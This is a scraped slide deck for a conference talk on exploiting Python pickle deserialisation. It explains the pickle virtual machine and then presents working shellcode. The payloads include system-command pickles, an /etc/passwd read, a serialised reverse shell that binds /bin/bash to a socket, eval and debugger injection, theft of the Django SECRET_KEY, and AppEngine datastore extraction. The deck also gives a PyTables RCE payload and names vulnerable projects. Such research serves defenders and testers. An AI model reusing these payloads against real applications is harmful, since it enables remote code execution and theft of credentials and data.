SlideShare uma empresa Scribd logo
1 de 97
Marco Slaviero Sour PicklesA serialised exploitation guide in one part
[object Object]
Pickle background and PVM
Attack scenarios
Shellcode and demos
converttopickle.py / Anapickle
Bugs in the wildFree map enclosed
Introduction: The theory http://docs.python.org/library/pickle.html
Introduction: The practice
Bug found in Jan 2011 by @dbph Want rsa in python? easy_install rsa This guy did ➢ https://github.com/aktowns/rsatweets Python module for send and receiving encrypted tweets. Relied on 'rsa' module Follow the call chain readTweet(tag, author) 	rsa.decrypt(cipher) 		rsa.gluechops(chops) 			rsa.unpicklechops(string) 				pickle.load(zlib.decompress(base64.decod 				estring(string))) RCE via Twitter Keep practicing son
Assumption We control input to loads() Dig into Pickle exploitation Explore the limits of what is possible Build useful tools and shellcode Find bugs The fundamental issue is not new But no public exploitation guide exists (And what’s the world for, if we can’t exploit stuff?) Goals
Function X wants to send an object to Function Y Separate processes & machines You can Build a custom marshalling protocol Implement a public marshallingprotocol, such as ASN.1 or JSON Rely on the underlying framework to convert the object to and from a stream of bytes, in a consistent way – the easiest Built-in on numerous languages Background: Serialisation
Problem: how to send data from a process on one machine to a process on another Solution: Serialisation Options Build your own Use a public marshaling library e.g. ASN.1 or JSON Use built-in functionality provided by the language & framework  Background: Serialisation
Default method for serialisation (v2.3+) Tightly integrated & opaque Versioned Used to be 7-bit, now supports 8-bit too 6 Pickle versions as of Python 3.2 Newer versions are backwards compatible Old Python versions break on newer pickles Two essential calls dumps()	takes as input a Python object and returns a serialised 		string. dump() is equivalent for files. loads()	takes as input a serialised string and returns a Python 		object. load() is equivalent for files. Pickle and cPickle (compiled) essentially the same Python’s Pickle
Terminology
Produces usable objects, not just data structures Handles arbitrary objects without implementing Serializable or knowing anything about them Reconstruction requires name in module path loads() is the gateway to exploitation naked loads() calls are our "gets()" Skinning the Pickle
Take instance of class Foo Extract all attributes from the object (__dict__) Convert the list of attributes into name-value pairs Write the object’s class name to the picklestream Write the attribute pairs into the stream Object is reduced according to defined steps Pickling Process
Take pickle stream Rebuild list of attributes Create an object from the saved class name Copy attributes into the new object i.e. Can unpickle any object so long as the class can be instantiated Expressive language used to rebuild arbitrary attributes UnpicklingProcess
pickle.loads() kicks off unpickling Pickle relies on a tiny virtual machine Pickle streams are actually programs Instructions and data are interleaved Lifting the Skirt
The protocol requires: Instruction processor (or engine) Stack Memo Pickle Virtual Machine (PVM)
Reads opcodes and arguments from the stream, starting at byte 0 Processes them, alters the stack/memo Repeat until end of stream Return top of the stack, as the deserialised object (when a STOP is encountered) PVM Instruction Engine
Basically indexed registers Implemented as a Python dict in Pickle Provides storage for the lifetime of the PVM S'first string' p199 Sparse array, can index non-sequentially PVM Memo Push a string Save into memo
Temporary storage for data, arguments, and objects used by the PVM Implemented as a Python list in Pickle Regular stack Instructions load data onto the stack Instructions remove and process stack items Final object on the stack is the deserialised object PVM Stack
Not Python isomorphism Opcodes are a single byte Instructions that take arguments use newlines to delimit them Not all opcode have args Some opcodes have multiple args Types of instructions: data loading, object creation, memo / stack manipulation Data loading instructions read from the instruction stream, load onto the stack No instructions to write into the instruction sequence PVM Instructions
Opcodes: data loading
Opcodes: Stack/memo manipulation
Opcodes: List, dict, tuple manipulation
Instruction sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
Instruction  sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
Instruction  sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
Instruction  sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
Instruction  sequence (S'str1' S'str2' I1234 t Stack Opcodes: Example tuple
Stack Opcodes: Example tuple Instruction  sequence (S'str1' S'str2' I1234 t
Opcodes: Object loading
Instruction  sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
Instruction  sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
Instruction  sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
Instruction  sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
Instruction  sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call
Instruction  sequence c__builtin__ file (S'/etc/passwd' tR Stack Opcodes: Example load and call 'R' executes __builtin__.file('/etc/passwd')
Can’t Pickle objects where it doesn’t make sense (e.g. open files, network sockets) Opcodes Set is not Turing complete in isolation No comparison No branching Can’t directly manipulate its own stream Can’t access Python variables No exception handling or error checking Class instances and methods not directly handled Limited to data manipulation and method execution In practice, does this matter? Limitations
Combination of GLOBAL and REDUCE means execution of Python callables i.e. bad Unvalidated or poorly validated input to loads() is very dangerous also known	 Previous work has focused on execution no returned values no embedding into host pickles We can take this further Problem?
Create reliable shellcode that works across Python versions/platforms Even when “harmful” methods are unavailable Want shellcode that can modify the returned Python object Immediate aims
Demo Pickle usage, calling dumps(), loads(), dis()
Attack Scenarios(or getting hold of pickle streams)
Successful approaches
App stores pickles on disk with permissive file ACLs Web application encodes cookie data in a pickle Thick application uses pickle as RPC mechanism Attack Examples
Embedded shellcode can be inserted into a host pickle in a number of ways Truncate and overwrite the stream Prepend the stream Append to the stream Inject into the stream How to choose? Truncation? Alteration?
Normal stream
Truncation
Appending
Prepending
Inserting
Verdict: Either prepend or overwrite an entity and match types
Handcrafted1 cos system S'ls –' tR. Generated2 (limited) class RunBinSh(object):   def __reduce__(self):     return (subprocess.Popen, (('/bin/sh',),)) 1http://nadiana.com/python-pickle-insecure 2http://blog.nelhage.com/2011/03/exploiting-pickle/ Shellcode Writing No output! cos system (S'printf -v a apos;%dapos; "apos;`uname -a | sed apos;s/.{2}(.).*/1/apos;`";exit $a;' tR. Not general enough
Stick to version 0, pickle module Attacker controls the entire pickle stream Modified based on entity types Primarily interested in Python callables Base pattern: c<module> <callable> (<args> tR Principles
Prepended streams must keep the stack empty Inserted streams keep stack clean and use the memo for storage Store in memo to avoid function composition                  f(g(),g(h())) Don’t change entity types Replacement entities to match original entities Only callables in the top-level of modules are candidates for GLOBAL Aim for deterministic / reliable shellcode So long as the type of class instances is predictable, it’s possible to invoke named methods. 7 (achievable) guidelines for shellcode
No opcode to call methods on class instances. i.e. Can’t do this f=fopen('/path/to/massive/sikrit') f.read() We want this functionality though (can it be derived?) Operations available Load any top-level object Execute callable objects Craft Python data structures Have stack/registers, will travel Building blocks: Accessing class instances
GLOBAL only loads top-level module objects REDUCE will execute off the stack when a callable and an argument tuple are present Look to Python introspection to load a callable handle on the stack Building blocks: Accessing class instances This is easy, opcodes support this trivially The trick. How to load a handle to a class instance method?
f=open('/path/to/massive/sikrit') f.read() Building blocks: Accessing class instances
f=open('/path/to/massive/sikrit') f.read() Step 1 is easy: c__builtin__ open (S'/path/to/massive/sikrit' tRp100       (Open file handle now at m[100]) Building blocks: Accessing class instances
f=open('/path/to/massive/sikrit') f.read() apply() invokes a method handle on an argument list __builtin__.apply(file.read, [f]) But we still need a handle to file.read getattr() returns the attribute for a supplied name 	__builtin__.getattr(file,'read') Lastly, file can be loaded easily Combined __builtin__.apply( __builtin__.getattr(file,'read'), [f]) Building blocks: Accessing class instances
f=open('/path/to/massive/sikrit') f.read() Step 2: c__builtin__ apply (c__builtin__ getattr (c__builtin__ file S'read' tR(g100 ltR Building blocks: Accessing class instances Violates guideline for avoiding composition Quite unreadable Applies file.read on the object stored at m[100] (previously opened file)
More general template. Calls methnm() on an instance of so.me.cls. Uses memo slots i and j for intermediate storage. c__builtin__ getattr (cso.me cls S'methnm' tRpj 0c__builtin__ apply (gj gi ltR Building blocks: Accessing class instances Loads so.me.cls Calls methnm()
I1000 ltRp102 0c__builtin__ getattr (c__builtin__ file S'close' tRp103 0c__builtin__ apply (g103 (g100 ltRp104 0g102 c__builtin__ open (S'/etc/passwd' tRp100 0c__builtin__ getattr (c__builtin__ file S'read' tRp101 0c__builtin__ apply (g101 (g100 Building blocks: Accessing class instances Open file, save class instance at  m[100], clear stack Get handle to file.read, save at  m[101] Now call file.close(). Note it uses the saved instance; no composition required m[102] is returned Call apply(<handle>,<instance>)
cmodule __dict__ pi 0 c__builtin__ getattr (gi S('__getitem__' tRpj 0gj (S'constant' tRpsaved 0 Building blocks: Accessing module constants Load reference to __dict__ Obtain reference to module.__dict__.__getitem__ Call module.__dict__.__getitem__(constant)
Wrapped or direct exploits Unique shellcode per task? Parameterise the shellcode using a more accessible language Back channels Assume fields from the unpickled object are displayed Not a requirement (think findsock) Length Bound by Python’s internal string and list types Runtime Is persistent shellcode possible? Automation Nothing special about the conversion, so automate it Shellcode considerations
f = __builtin__.open('foo','w',) r = f.write('line1nline2',) [__builtin__.file] q = __builtin__.str('Finished',) q c__builtin__ open (S'foo' S'w' tRp100 0c__builtin__ getattr (c__builtin__ file S'write' tRp101 0c__builtin__ Tool 1: converttopickle.py apply (g101 (g100 S'line1line2' ltRp102 0c__builtin__ str (S'Finished' tRp103 0g103
Input is a sequence of Python-like statements (mostly calls) Statements are annotated to indicate type Output is standalone or snippets of equivalent Pickle converttopickle.py
Now no need to care about opcodes
Info Get globals/locals list Fingerprint the Python runtime (paths, versions, argv, loaded modules) Process handling Return status of os.system() Output of os.popen() Output of subprocess.check_output() Bindshell Reverse shell Files operations Runtime Run eval() with supplied code Inject Python debugger (settrace()) Frameworks Django retrieval of configuration items (incl SECRET_KEY, DATABASES) AppEngine retrieval of userids, Kinds (and their Properties) AppEnginge call output functions directly Shellcode Library
Info Get globals/locals list Fingerprint the Python runtime (paths, versions, argv, loaded modules) Process handling Return status of os.system() Output of os.popen() Output of subprocess.check_output() Bindshell Reverse shell Files operations Runtime Run eval() with supplied code Inject Python debugger (settrace()) Frameworks Django retrieval of configuration items (incl SECRET_KEY, DATABASES) AppEngine retrieval of userids, Kinds (and their Properties) AppEnginge call output functions directly Shellcode Library
afinet = socket.AF_INET {const} sstream = socket.SOCK_STREAM {const} ttcp = socket.IPPROTO_TCP {const} solsocket = socket.SOL_SOCKET {const} reuseaddr = socket.SO_REUSEADDR {const} sock = socket.socket(afinet,sstream,ttcp,) q = sock.setsockopt(solsocket,reuseaddr,1) [socket.socket] conn = sock.connect(('localhost',55555,),) [socket.socket] fileno = sock.fileno() [socket._socketobject] fd = __builtin__.int(fileno,) subproc = subprocess.Popen(('/bin/bash',),0,'/bin/bash', fd, fd, fd,) Reverseshell: Input
"csocket__dict__p1010c__builtin__getattr(g101S'__getitem__'tRp1020g102(S'AF_INET'tRp1000csocket__dict__p1040c__builtin__getattr(g104S'__getitem__'tRp1050g105(S'SOCK_STREAM'tRp1030csocket__dict__p1070c__builtin__getattr(g107S'__getitem__'tRp1080g108(S'IPPROTO_TCP'tRp1060csocket__dict__p1100c__builtin__getattr(g110S'__getitem__'tRp1110g111(S'SOL_SOCKET'tRp1090csocket__dict__p1130c__builtin__getattr(g113S'__getitem__'tRp1140g114(S'SO_REUSEADDR'tRp1120csocketsocket(g100g103g106tRp1150c__builtin__getattr(csocketsocketS'setsockopt'tRp1160c__builtin__apply(g116(g115g109g112I1ltRp1170c__builtin__getattr(csocketsocketS'connect'tRp1180c__builtin__apply(g118(g115(S'localhost'I55555tltRp1190c__builtin__getattr(csocket_socketobjectS'fileno'tRp1200c__builtin__apply(g120(g115ltRp1210c__builtin__int(g121tRp1220csubprocessPopen((S'/bin/bash'tI0S'/bin/bash'g122g122g122tRp1230S'finished'." Reverseshell: Output
Demo reverseshell shellcode
g = __builtin__.globals() f = __builtin__.compile('import os; os.system("sleep 0");picklesmashed="foo";','','exec',) r = __builtin__.eval(f,g,) e = g.get('picklesmashed',) [__builtin__.dict] e Eval: Input import urllib2 picklesmashed="" try:   for l in urllib2.urlopen("http://www.googl e.com").readlines():     picklesmashed += l.replace("<","&l t;").replace(">","&gt;") except:   pass ,[object Object]
Shellcode returns this value of “picklesmashed”
Can thus retrieve output from the eval(),[object Object]
g = __builtin__.globals() f = __builtin__.compile('def t(frame,event,arg):ntif event=="call":ntttry:ntttprint frame.f_locals.items()nttexcept Exception:ntttprint "e"','','exec',) r = __builtin__.eval(f,g,) e = g.get('t',) [__builtin__.dict] x = sys.settrace(e,) "finished" settrace shellcode: Input def t(frame,event,arg): 	if event=="call": 		try: 			print frame.f_locals.items() 		except Exception: 			print "e" ,[object Object]
eval() is called to create the new method
new method is passed to settrace(),[object Object]
a = django.core.mail.send_mail('Subject here', 'Here is the message.', 'foo@example.com',['marco@sensepost.com']) b = django.conf.settings g = __builtin__.getattr(b,'SECRET_KEY') g Django config read: Input ,[object Object]
Retrieve Django configuration,[object Object]
g = __builtin__.globals() f = __builtin__.compile('import google.appengine.ext.dbfrom google.appengine.ext.db.metadata import *picklesmashed=""q = google.appengine.ext.db.GqlQuery("SELECT __key__ from __property__")for p in q.fetch(100):    picklesmashed+="%s:%sn" % (google.appengine.ext.db.metadata.Property.key_to_kind(p), google.appengine.ext.db.metadata.Property.key_to_property(p))','','exec',) r = __builtin__.eval(f,g,) e = g.get('picklesmashed',) [__builtin__.dict] e AppEngine: Input import google.appengine.ext.db from google.appengine.ext.db.metadata import * picklesmashed="" q = google.appengine.ext.db.GqlQuery("SELECT __key__ 	from __property__") for p in q.fetch(100):     picklesmashed+="%s:%s" %(google.appengine.ex 	t.db.metadata.Property.key_to_kind(p), google.appe ngine.ext.db.metadata.Property.key_to_property(p)) ,[object Object]
Python payload implements iteration
Using this technique, could extract the datastore,[object Object]
Pickle multitool Simulates pickles (safely) Extracts embedded callable names Extracts entities and their types Summarises the pickle Generates shellcode according to provided parameters Library is parameterised e.g. port number, host names, Python for eval() etc Applies wrapper functions Inserts shellcode smartly Performs type checking on the shellcode and the entity it is replacing Tool 2: Anapickle
Demo Anapickle
Looked on Google Code, Nullege, Sourceforge, Google, Pastebin Approaches Strings with strong likelihood of being bad More general loads() review Application survey "pickle.loads(recv" "pickle.loads(net" "pickle.loads(.*decompress" "pickle.loads(.*decode" "pickle.loads(.*url" "pickle.loads(packet" "pickle.loads(msg" "pickle.loads(data" "pickle.loads(message" "pickle.loads(buffer" "pickle.loads(req"
Examples for naked loads() found in web apps, thick apps, security apps, modules Not endemic, but not hard to find Network-based Evil party MitM File-based Cache-based Results: so much for the warnings
Example 1
"PyTables is a package for managing hierarchical datasets and designed to efficiently and easily cope with extremely large amounts of data" – pytables.org Example 2: PyTables import tables f = tables.openFile( 'somefile', 'w' ) node = f.createTable( f.root, 'sometable', { 'col': tables.StringCol(10) }, title = "cospopen(S'sleep 10'tRp1000c__builtin__getattr(c__builtin__fileS'read'tRp1010c__builtin__apply(g101(g100I1000ltRp1020c__builtin__getattr(c__builtin__fileS'close'tRp1030c__builtin__apply(g103(g100ltRp1040g102." ) I.e. if users control table titles, they get RCE
Peach fuzzer supports agent-based fuzzing Agent and controller communicate over the network Unauthenticated (well, by the time auth happens it's too late) Using pickle Example 3: Peach fuzzer
demo Peach fuzzer
First torrent-based p2p streaming media finder / player / community thing Research project from Delft University of Technology and Vrije Universiteit Amsterdam (10 PhDs, 2 postdoc, significant cash) Research platform supports stats gathering Pickle used to transport data Clients only accept Pickles from verified researchers Researchers accept Pickles from any client Two attacks Researchers own clients Clients own researchers Example 4: Tribler

Mais conteúdo relacionado

Mais procurados

PPT on Data Science Using Python
PPT on Data Science Using PythonPPT on Data Science Using Python
PPT on Data Science Using PythonNishantKumar1179
 
Sum of subsets problem by backtracking 
Sum of subsets problem by backtracking Sum of subsets problem by backtracking 
Sum of subsets problem by backtracking Hasanain Alshadoodee
 
Multiplication algorithm, hardware and flowchart
Multiplication algorithm, hardware and flowchartMultiplication algorithm, hardware and flowchart
Multiplication algorithm, hardware and flowchartTanjarul Islam Mishu
 
IPv4 and IPv6
IPv4 and IPv6IPv4 and IPv6
IPv4 and IPv6RIPE NCC
 
Multiprocessor
MultiprocessorMultiprocessor
MultiprocessorA B Shinde
 
Chapter 4 The Processor
Chapter 4 The ProcessorChapter 4 The Processor
Chapter 4 The Processorguest4f73554
 
Classless addressing
Classless addressingClassless addressing
Classless addressingIqra Abbas
 
Shannon-Fano algorithm
Shannon-Fano algorithmShannon-Fano algorithm
Shannon-Fano algorithmMANISH T I
 
Fixed point and floating-point numbers
Fixed point and  floating-point numbersFixed point and  floating-point numbers
Fixed point and floating-point numbersMOHAN MOHAN
 
Doubly Linked List || Operations || Algorithms
Doubly Linked List || Operations || AlgorithmsDoubly Linked List || Operations || Algorithms
Doubly Linked List || Operations || AlgorithmsShubham Sharma
 
data representation
 data representation data representation
data representationHaroon_007
 
VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015
VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015
VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015vtunotesbysree
 
358 33 powerpoint-slides_4-introduction-data-structures_chapter-4
358 33 powerpoint-slides_4-introduction-data-structures_chapter-4358 33 powerpoint-slides_4-introduction-data-structures_chapter-4
358 33 powerpoint-slides_4-introduction-data-structures_chapter-4sumitbardhan
 

Mais procurados (20)

Lecture #01
Lecture #01Lecture #01
Lecture #01
 
PPT on Data Science Using Python
PPT on Data Science Using PythonPPT on Data Science Using Python
PPT on Data Science Using Python
 
Python - Lecture 1
Python - Lecture 1Python - Lecture 1
Python - Lecture 1
 
Sum of subsets problem by backtracking 
Sum of subsets problem by backtracking Sum of subsets problem by backtracking 
Sum of subsets problem by backtracking 
 
Booth's algorithm
Booth's algorithm Booth's algorithm
Booth's algorithm
 
Multiplication algorithm, hardware and flowchart
Multiplication algorithm, hardware and flowchartMultiplication algorithm, hardware and flowchart
Multiplication algorithm, hardware and flowchart
 
IP addressing
IP addressingIP addressing
IP addressing
 
IPv4 and IPv6
IPv4 and IPv6IPv4 and IPv6
IPv4 and IPv6
 
Subnet calculation Tutorial
Subnet calculation TutorialSubnet calculation Tutorial
Subnet calculation Tutorial
 
Linear Search Presentation
Linear Search PresentationLinear Search Presentation
Linear Search Presentation
 
Multiprocessor
MultiprocessorMultiprocessor
Multiprocessor
 
Chapter 4 The Processor
Chapter 4 The ProcessorChapter 4 The Processor
Chapter 4 The Processor
 
Classless addressing
Classless addressingClassless addressing
Classless addressing
 
Cache mapping
Cache mappingCache mapping
Cache mapping
 
Shannon-Fano algorithm
Shannon-Fano algorithmShannon-Fano algorithm
Shannon-Fano algorithm
 
Fixed point and floating-point numbers
Fixed point and  floating-point numbersFixed point and  floating-point numbers
Fixed point and floating-point numbers
 
Doubly Linked List || Operations || Algorithms
Doubly Linked List || Operations || AlgorithmsDoubly Linked List || Operations || Algorithms
Doubly Linked List || Operations || Algorithms
 
data representation
 data representation data representation
data representation
 
VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015
VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015
VTU 4TH SEM CSE MICROPROCESSORS SOLVED PAPERS OF JUNE-2014 & JUNE-2015
 
358 33 powerpoint-slides_4-introduction-data-structures_chapter-4
358 33 powerpoint-slides_4-introduction-data-structures_chapter-4358 33 powerpoint-slides_4-introduction-data-structures_chapter-4
358 33 powerpoint-slides_4-introduction-data-structures_chapter-4
 

Destaque

Cache on Delivery
Cache on DeliveryCache on Delivery
Cache on DeliverySensePost
 
Pickles by Natraj Oil Mills Private Limited, Madurai
Pickles by Natraj Oil Mills Private Limited, Madurai Pickles by Natraj Oil Mills Private Limited, Madurai
Pickles by Natraj Oil Mills Private Limited, Madurai IndiaMART InterMESH Limited
 
Scaling python to_hpc_big_data-maidanov
Scaling python to_hpc_big_data-maidanovScaling python to_hpc_big_data-maidanov
Scaling python to_hpc_big_data-maidanovDenis Nagorny
 
Instruction: dev environment
Instruction: dev environmentInstruction: dev environment
Instruction: dev environmentSoshi Nemoto
 
Practical RISC-V Random Test Generation using Constraint Programming
Practical RISC-V Random Test Generation using Constraint ProgrammingPractical RISC-V Random Test Generation using Constraint Programming
Practical RISC-V Random Test Generation using Constraint Programminged271828
 
Common technique in Bypassing Stuff in Python.
Common technique in Bypassing Stuff in Python.Common technique in Bypassing Stuff in Python.
Common technique in Bypassing Stuff in Python.Shahriman .
 

Destaque (14)

Cache on Delivery
Cache on DeliveryCache on Delivery
Cache on Delivery
 
Pickles by Natraj Oil Mills Private Limited, Madurai
Pickles by Natraj Oil Mills Private Limited, Madurai Pickles by Natraj Oil Mills Private Limited, Madurai
Pickles by Natraj Oil Mills Private Limited, Madurai
 
Scaling python to_hpc_big_data-maidanov
Scaling python to_hpc_big_data-maidanovScaling python to_hpc_big_data-maidanov
Scaling python to_hpc_big_data-maidanov
 
Instruction: dev environment
Instruction: dev environmentInstruction: dev environment
Instruction: dev environment
 
Practical RISC-V Random Test Generation using Constraint Programming
Practical RISC-V Random Test Generation using Constraint ProgrammingPractical RISC-V Random Test Generation using Constraint Programming
Practical RISC-V Random Test Generation using Constraint Programming
 
Sql Injection 0wning Enterprise
Sql Injection 0wning EnterpriseSql Injection 0wning Enterprise
Sql Injection 0wning Enterprise
 
Common technique in Bypassing Stuff in Python.
Common technique in Bypassing Stuff in Python.Common technique in Bypassing Stuff in Python.
Common technique in Bypassing Stuff in Python.
 
Apple pickle
Apple pickleApple pickle
Apple pickle
 
Pickles
PicklesPickles
Pickles
 
Guru01 13 15
Guru01 13 15Guru01 13 15
Guru01 13 15
 
Pickles
PicklesPickles
Pickles
 
Natural pickles
Natural picklesNatural pickles
Natural pickles
 
ORM Injection
ORM InjectionORM Injection
ORM Injection
 
Business Plan
Business PlanBusiness Plan
Business Plan
 

Semelhante a Sour Pickles

Python Foundation – A programmer's introduction to Python concepts & style
Python Foundation – A programmer's introduction to Python concepts & stylePython Foundation – A programmer's introduction to Python concepts & style
Python Foundation – A programmer's introduction to Python concepts & styleKevlin Henney
 
OOP, Networking, Linux/Unix
OOP, Networking, Linux/UnixOOP, Networking, Linux/Unix
OOP, Networking, Linux/UnixNovita Sari
 
The use of the code analysis library OpenC++: modifications, improvements, er...
The use of the code analysis library OpenC++: modifications, improvements, er...The use of the code analysis library OpenC++: modifications, improvements, er...
The use of the code analysis library OpenC++: modifications, improvements, er...PVS-Studio
 
presentation_intro_to_python
presentation_intro_to_pythonpresentation_intro_to_python
presentation_intro_to_pythongunanandJha2
 
presentation_intro_to_python_1462930390_181219.ppt
presentation_intro_to_python_1462930390_181219.pptpresentation_intro_to_python_1462930390_181219.ppt
presentation_intro_to_python_1462930390_181219.pptMohitChaudhary637683
 
Introduction to c_plus_plus
Introduction to c_plus_plusIntroduction to c_plus_plus
Introduction to c_plus_plusSayed Ahmed
 
Introduction to c_plus_plus (6)
Introduction to c_plus_plus (6)Introduction to c_plus_plus (6)
Introduction to c_plus_plus (6)Sayed Ahmed
 
Python Evolution
Python EvolutionPython Evolution
Python EvolutionQuintagroup
 
Os Worthington
Os WorthingtonOs Worthington
Os Worthingtonoscon2007
 
Ekon bestof rtl_delphi
Ekon bestof rtl_delphiEkon bestof rtl_delphi
Ekon bestof rtl_delphiMax Kleiner
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy CodeRowan Merewood
 
SystemVerilog OOP Ovm Features Summary
SystemVerilog OOP Ovm Features SummarySystemVerilog OOP Ovm Features Summary
SystemVerilog OOP Ovm Features SummaryAmal Khailtash
 
Socket programming-in-python
Socket programming-in-pythonSocket programming-in-python
Socket programming-in-pythonYuvaraja Ravi
 

Semelhante a Sour Pickles (20)

Python Foundation – A programmer's introduction to Python concepts & style
Python Foundation – A programmer's introduction to Python concepts & stylePython Foundation – A programmer's introduction to Python concepts & style
Python Foundation – A programmer's introduction to Python concepts & style
 
Java Basics
Java BasicsJava Basics
Java Basics
 
Python1
Python1Python1
Python1
 
Python 3000
Python 3000Python 3000
Python 3000
 
OOP, Networking, Linux/Unix
OOP, Networking, Linux/UnixOOP, Networking, Linux/Unix
OOP, Networking, Linux/Unix
 
The use of the code analysis library OpenC++: modifications, improvements, er...
The use of the code analysis library OpenC++: modifications, improvements, er...The use of the code analysis library OpenC++: modifications, improvements, er...
The use of the code analysis library OpenC++: modifications, improvements, er...
 
Python and You Series
Python and You SeriesPython and You Series
Python and You Series
 
presentation_intro_to_python
presentation_intro_to_pythonpresentation_intro_to_python
presentation_intro_to_python
 
presentation_intro_to_python_1462930390_181219.ppt
presentation_intro_to_python_1462930390_181219.pptpresentation_intro_to_python_1462930390_181219.ppt
presentation_intro_to_python_1462930390_181219.ppt
 
Introduction to c_plus_plus
Introduction to c_plus_plusIntroduction to c_plus_plus
Introduction to c_plus_plus
 
Introduction to c_plus_plus (6)
Introduction to c_plus_plus (6)Introduction to c_plus_plus (6)
Introduction to c_plus_plus (6)
 
Python Evolution
Python EvolutionPython Evolution
Python Evolution
 
Andy On Closures
Andy On ClosuresAndy On Closures
Andy On Closures
 
Srgoc dotnet
Srgoc dotnetSrgoc dotnet
Srgoc dotnet
 
Os Worthington
Os WorthingtonOs Worthington
Os Worthington
 
Ekon bestof rtl_delphi
Ekon bestof rtl_delphiEkon bestof rtl_delphi
Ekon bestof rtl_delphi
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
biopython, doctest and makefiles
biopython, doctest and makefilesbiopython, doctest and makefiles
biopython, doctest and makefiles
 
SystemVerilog OOP Ovm Features Summary
SystemVerilog OOP Ovm Features SummarySystemVerilog OOP Ovm Features Summary
SystemVerilog OOP Ovm Features Summary
 
Socket programming-in-python
Socket programming-in-pythonSocket programming-in-python
Socket programming-in-python
 

Mais de SensePost

objection - runtime mobile exploration
objection - runtime mobile explorationobjection - runtime mobile exploration
objection - runtime mobile explorationSensePost
 
Vulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based ApplicationVulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based ApplicationSensePost
 
Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17SensePost
 
Introducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration ToolkitIntroducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration ToolkitSensePost
 
ZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana AttacksZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana AttacksSensePost
 
Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22SensePost
 
Heartbleed Overview
Heartbleed OverviewHeartbleed Overview
Heartbleed OverviewSensePost
 
Botconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server DetectionBotconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server DetectionSensePost
 
Rat a-tat-tat
Rat a-tat-tatRat a-tat-tat
Rat a-tat-tatSensePost
 
Hacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation SystemsHacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation SystemsSensePost
 
Offence oriented Defence
Offence oriented DefenceOffence oriented Defence
Offence oriented DefenceSensePost
 
Threats to machine clouds
Threats to machine cloudsThreats to machine clouds
Threats to machine cloudsSensePost
 
Inside .NET Smart Card Operating System
Inside .NET Smart Card Operating SystemInside .NET Smart Card Operating System
Inside .NET Smart Card Operating SystemSensePost
 
SNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) PwnageSNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) PwnageSensePost
 
Its Ok To Get Hacked
Its Ok To Get HackedIts Ok To Get Hacked
Its Ok To Get HackedSensePost
 
Web Application Hacking
Web Application HackingWeb Application Hacking
Web Application HackingSensePost
 
Putting the tea back into cyber terrorism
Putting the tea back into cyber terrorismPutting the tea back into cyber terrorism
Putting the tea back into cyber terrorismSensePost
 
Major global information security trends - a summary
Major global information security trends - a  summaryMajor global information security trends - a  summary
Major global information security trends - a summarySensePost
 
Attacks and Defences
Attacks and DefencesAttacks and Defences
Attacks and DefencesSensePost
 
Corporate Threat Modeling v2
Corporate Threat Modeling v2Corporate Threat Modeling v2
Corporate Threat Modeling v2SensePost
 

Mais de SensePost (20)

objection - runtime mobile exploration
objection - runtime mobile explorationobjection - runtime mobile exploration
objection - runtime mobile exploration
 
Vulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based ApplicationVulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based Application
 
Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17
 
Introducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration ToolkitIntroducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration Toolkit
 
ZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana AttacksZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana Attacks
 
Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22
 
Heartbleed Overview
Heartbleed OverviewHeartbleed Overview
Heartbleed Overview
 
Botconf 2013 - DNS-based Botnet C2 Server Detection
